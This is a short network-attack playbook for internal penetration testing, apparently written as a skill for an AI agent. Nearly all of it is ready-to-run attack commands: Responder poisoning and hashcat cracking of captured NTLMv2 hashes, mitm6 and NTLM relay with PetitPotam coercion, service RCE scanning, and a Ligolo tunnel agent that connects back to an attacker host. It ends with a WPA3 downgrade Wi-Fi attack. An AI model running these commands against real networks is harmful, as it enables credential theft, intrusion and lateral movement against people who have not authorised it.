Network Attack

Network Attack & Lateral Movement

When to Activate

• Internal network pentest from an unauthenticated wire position or initial foothold
• Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
• Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
• Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
• Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
• Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
• Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
• For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and ticket/DCSync work, hand off to active-directory-attack.

Technique Map

Quick Start

bashCopy code
# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6
